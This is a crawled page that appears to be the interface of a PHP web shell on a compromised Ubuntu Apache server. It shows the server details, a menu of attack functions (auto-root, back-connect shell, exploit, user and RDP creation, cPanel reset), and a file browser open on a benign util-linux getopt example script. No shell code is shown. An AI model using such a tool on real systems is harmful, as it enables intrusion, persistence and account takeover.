Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.74
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
util-linux /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
filesystems
41
B
-rw-r--r--
fstab
829
B
-rw-r--r--
fstab.example2
1.57
KB
-rw-r--r--
getopt-parse.bash
1.55
KB
-rwxr-xr-x
getopt-parse.tcsh
2.19
KB
-rwxr-xr-x
motd
344
B
-rw-r--r--
securetty
26
B
-rw-r--r--
shells
37
B
-rw-r--r--
udev-raw.rules
316
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getopt-parse.bash
#!/bin/bash # A small example script for using the getopt(1) program. # This script will only work with bash(1). # A similar script using the tcsh(1) language can be found # as getopt-parse.tcsh. # Example input and output (from the bash prompt): # # ./getopt-parse.bash -a par1 'another arg' --c-long 'wow!*\?' -cmore -b " very long " # Option a # Option c, no argument # Option c, argument 'more' # Option b, argument ' very long ' # Remaining arguments: # --> 'par1' # --> 'another arg' # --> 'wow!*\?' # Note that we use "$@" to let each command-line parameter expand to a # separate word. The quotes around "$@" are essential! # We need TEMP as the 'eval set --' would nuke the return value of getopt. TEMP=$(getopt -o 'ab:c::' --long 'a-long,b-long:,c-long::' -n 'example.bash' -- "$@") if [ $? -ne 0 ]; then echo 'Terminating...' >&2 exit 1 fi # Note the quotes around "$TEMP": they are essential! eval set -- "$TEMP" unset TEMP while true; do case "$1" in '-a'|'--a-long') echo 'Option a' shift continue ;; '-b'|'--b-long') echo "Option b, argument '$2'" shift 2 continue ;; '-c'|'--c-long') # c has an optional argument. As we are in quoted mode, # an empty parameter will be generated if its optional # argument is not found. case "$2" in '') echo 'Option c, no argument' ;; *) echo "Option c, argument '$2'" ;; esac shift 2 continue ;; '--') shift break ;; *) echo 'Internal error!' >&2 exit 1 ;; esac done echo 'Remaining arguments:' for arg; do echo "--> '$arg'" done
Close